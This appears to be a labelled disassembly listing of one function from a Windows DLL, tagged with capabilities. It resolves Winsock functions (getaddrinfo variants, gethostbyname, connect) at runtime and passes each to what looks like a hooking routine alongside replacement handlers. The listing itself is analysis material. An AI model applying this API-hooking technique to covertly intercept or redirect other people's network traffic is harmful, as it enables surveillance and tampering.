Function at 0x10001db0
Capabilities:
Check os version
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x10028300]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
mov byte [esp + 0x13], 0
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
inc dword [0x10050318]
push 0x100502f8
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
call fcn.10001c60
push edi
push edi
push edi
push 0x100038a0
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
inc dword [0x10050318]
mov dword [0x1005031c], eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x20]
push ecx
xor bl, bl
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], edi
call fcn.10002a00
add esp, 8
test al, al
je 0x10002170
mov edx, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
push edx
mov ecx, edi
call fcn.100026b0
add esp, 4
test al, al
je 0x10001e61
inc dword [0x10050318]
lea ecx, [esp + 0x14]
call fcn.100031f0
test eax, eax
je 0x10001e61
mov bl, 1
test edi, edi
je 0x10001e6e
push edi
call fcn.10014c41
add esp, 4
test bl, bl
je 0x10002170
cmp dword [esp + 0x14], 0
je 0x10002170
mov eax, dword [esp + 0x14]
inc dword [0x10050318]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001e90
sub eax, edx
lea edi, [eax + 0x10]
push edi
call fcn.10014c7b
inc dword [0x10050318]
mov ebx, eax
add esp, 4
mov dword [0x100502f0], ebx
test ebx, ebx
je 0x10002170
push edi
push 0
push ebx
call fcn.1001acc0
mov eax, dword [esp + 0x20]
add esp, 0xc
push eax
push edi
push ebx
call fcn.10014e75
lea eax, [edi + edi]
add esp, 0xc
push eax
call fcn.10014c7b
inc dword [0x10050318]
mov ebx, eax
add esp, 4
mov dword [0x100502f4], ebx
test ebx, ebx
je 0x10002170
lea eax, [edi + edi]
push eax
push 0
push ebx
call fcn.1001acc0
mov ecx, dword [0x100502f0]
add esp, 0xc
lea eax, [edi + edi]
push eax
push ebx
push edi
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
cmp byte [esi + 2], 0
mov edi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
jne 0x10001f67
push str.ws2_32.dll
call edi
push str.GetAddrInfoW
push eax
call ebx
push 0x100017e0
push 0x100501b8
mov dword [0x100501b8], eax
call fcn.10008060
add esp, 8
cmp eax, 1
sete al
mov byte [esi + 2], al
test al, al
je 0x10002170
cmp byte [esi + 3], 0
jne 0x10001faa
inc dword [0x10050318]
push str.ws2_32.dll
call edi
push str.getaddrinfo
push eax
call ebx
push 0x10001970
push 0x100501bc
mov dword [0x100501bc], eax
call fcn.10008060
add esp, 8
cmp eax, 1
sete al
mov byte [esi + 3], al
test al, al
je 0x1000216a
cmp byte [esi + 5], 0
jne 0x10002034
push str.ws2_32.dll
call edi
push str.GetAddrInfoExW
push eax
call ebx
push 0x100018b0
push 0x100501d0
mov dword [0x100501d0], eax
call fcn.10008060
add esp, 8
cmp eax, 1
sete al
mov byte [esi + 5], al
test al, al
jne 0x10002034
mov eax, dword [0x10050324]
inc dword [0x10050318]
test eax, eax
jne 0x1000202b
push 0x114
push eax
lea edx, [esp + 0x28]
push edx
call fcn.1001acc0
add esp, 0xc
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x24], 0x114
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
mov eax, dword [esp + 0x24]
inc dword [0x10050318]
mov dword [0x10050324], eax
cmp eax, 6
jae 0x1000216a
cmp byte [esi + 6], 0
jne 0x100020be
push str.ws2_32.dll
call edi
push str.GetAddrInfoExA
push eax
call ebx
push 0x10001a20
push 0x100501c0
mov dword [0x100501c0], eax
call fcn.10008060
add esp, 8
cmp eax, 1
sete al
mov byte [esi + 6], al
test al, al
jne 0x100020be
mov eax, dword [0x10050324]
inc dword [0x10050318]
test eax, eax
jne 0x100020b5
push 0x114
push eax
lea ecx, [esp + 0x28]
push ecx
call fcn.1001acc0
add esp, 0xc
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], 0x114
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
mov eax, dword [esp + 0x24]
inc dword [0x10050318]
mov dword [0x10050324], eax
cmp eax, 6
jae 0x1000216a
cmp byte [esi + 4], 0
jne 0x100020f7
push str.ws2_32.dll
call edi
push str.gethostbyname
push eax
call ebx
push 0x10001af0
push 0x100501c4
mov dword [0x100501c4], eax
call fcn.10008060
add esp, 8
cmp eax, 1
sete al
mov byte [esi + 4], al
test al, al
je 0x1000216a
cmp byte [esi], 0
jne 0x1000212e
push str.ws2_32.dll
call edi
push str.connect
push eax
call ebx
push 0x10001350
push 0x100501c8
mov dword [0x100501c8], eax
call fcn.10008060
add esp, 8
cmp eax, 1
sete al
mov byte [esi], al
test al, al
je 0x1000216a
mov edi, esi
call fcn.10001bb0
cmp byte [esi + 1], 0
jne 0x10002163
test eax, eax
je 0x10002163
push 0x100015b0
push 0x100501cc
mov dword [0x100501cc], eax
call fcn.10008060
add esp, 8
cmp eax, 1
sete al
mov byte [esi + 1], al
test al, al
je 0x1000216a
mov byte [esp + 0x13], 1
jmp 0x1000217b
inc dword [0x10050318]
inc dword [0x10050318]
call fcn.10002220
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1000218c
push eax
call fcn.10014c41
add esp, 4
mov ecx, dword [esp + 0x13c]
mov al, byte [esp + 0x13]
inc dword [0x10050318]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10014776
mov esp, ebp
pop ebp
ret